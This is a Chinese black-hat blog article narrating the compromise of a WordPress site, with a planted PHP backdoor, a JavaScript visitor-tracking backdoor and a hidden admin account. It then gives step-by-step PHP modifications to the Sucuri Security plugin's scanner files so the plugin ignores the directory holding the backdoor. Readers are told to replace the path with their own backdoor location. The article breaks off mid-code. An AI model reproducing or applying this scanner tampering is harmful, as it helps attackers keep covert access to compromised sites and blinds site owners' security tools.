专栏名称: 黑帽互联
黑帽技能传播者。分享有趣的Hack技能
目录
相关文章推荐
出彩写作  ·  deepseek时代机关写材料人员的核心竞争力 ·  昨天  
长江云新闻  ·  湖北一高校将收购存量商品房用作学生宿舍 ·  昨天  
长江云新闻  ·  湖北一高校将收购存量商品房用作学生宿舍 ·  昨天  
湘微教育  ·  喜报!湖南高校35项作品获奖 ·  2 天前  
51好读  ›  专栏  ›  黑帽互联

护马之战 sucuriscan 插件的绕过查杀

黑帽互联  · 公众号  ·  · 2019-07-11 13:24

正文

温馨提示

如果你喜欢本文,请分享到朋友圈,想要获得更多信息,请关注我。



以下故事,纯属虚构,如有雷同,加我微信


话说某日,老N接到一个业务,帮撸某国外大麻销售网站,做个访客记录劫持,方便GOV们对这些买家的情况做下劫持。


我们看下流量,的确是夸张到可怕。但是后门只放了一天,就被对方发现了。



利用之前漏洞留的密码账号,我们继续有权限进入后台,但是基本上对网站上的文件的修改,总是第一时间被发现。


如何保住马呢?



先进后台看怎么查


老N利用仅存的悄悄添加的一个后台管理账号进入系统后台


做为WP几年玩家,留意到一个安全插件sucuri security


我们点开看看


这里把老N的PHP后门一锅端了


然后看下JS记录用户地理位置的后门

也都记录在案。


估摸这个是通过对比正常WP文件进行查杀


查看是否有白名单机制


Setting部分,是这款插件的配置部分,有个Scanner扫描设置,可以配置扫码的设置



可以对路径和文件进行排除


这个时候思路就有了,通过修改文件的代码,把排除的文件直接修改进去,不通过后台的设置,这样规避他们的扫描


下载插件进行分析


我们先本机下载这个插件,查找关键的代码处。



本机搭建,顺便安装插件做个测试



先抓包,看POST了什么数据



sucuriscan_ignorefolder  追踪下载的插件数据,查看这里是怎么存储的。


没有明显的SQL存储的?

查找一下,真的没进SQL数据库,那么只能从文件了。

用工具查一下


/wp-content/uploads/sucuri/sucuri-ignorescanning.php


原来是存储到这个路径。我们继续看是如何调用这个文件呢?


我们看下插件的src目录,里面有个scanner有关的PHP


fsscanner.lib.php


打开文件,里面有个代码段

public static function getIgnoredDirectories()

{

$response = array(

'raw' => array(),

'checksums' => array(),

'directories' => array(),

'ignored_at_list' => array(),

);


$cache = new SucuriScanCache('ignorescanning');

$cache_lifetime = 0; // It is not necessary to expire this cache.

$entries = $cache->getAll($cache_lifetime, 'array');


if ($entries) {

$response['raw'] = $entries;


foreach ($entries as $checksum => $data) {

if (isset($data['directory_path']) && isset($data['ignored_at'])) {

$response['checksums'][] = $checksum;

$response['directories'][] = $data['directory_path'];

$response['ignored_at_list'][] = $data['ignored_at'];

}

}

}


return $response;

}




核心代码找到了,我们怎么修改呢?


直接return $response前面加一段


$arraya = array(

"directory_path"    => "wp-content",

"ignored_at"  => 1562818372,

"resource_type"  => "unknown",

);

$arrayb= array(

"6a88b53453fe3f1cc5670295d7979541"    =>$arraya

);

if ($arrayb) {

$response['raw'] = $arrayb;


foreach ($arrayb as $checksum => $data) {

if (isset($data['directory_path']) && isset($data['ignored_at'])) {

$response['checksums'][] = $checksum;

$response['directories'][] = $data['directory_path'];

$response['ignored_at_list'][] = $data['ignored_at'];

}

}

}



不过测试的时候,发现,这个只是后台读取的


我们继续跟进这个代码,看哪里有调用


看来此处就是关键了


我们看到代码中有


private function ignoreFolder($path)

{

$content = basename(WP_CONTENT_DIR);


return (bool) ($this->ignore_directories && (

strpos($path, '/.hg') !== false

|| strpos($path, '/.git') !== false

|| strpos($path, '/.svn') !== false

|| strpos($path, $content . '/backup') !== false

|| strpos($path, $content . '/cache') !== false

|| strpos($path, $content . '/uploads') !== false

|| strpos($path, $content . '/w3tc') !== false

));

}


这里可以动手脚


其次,我们看下调用上面代码“getIgnoredDirectories”的那个地方


也是通过那个ignoreFolder来判定


那么我们怎么弄呢?


直接修改插件目录的src下的fileinfo.lib.php



使用时,把wp-content改成你后门存放的路径即可


*/

private function ignoreFolder($path)

{

$content = basename(WP_CONTENT_DIR);







请到「今天看啥」查看全文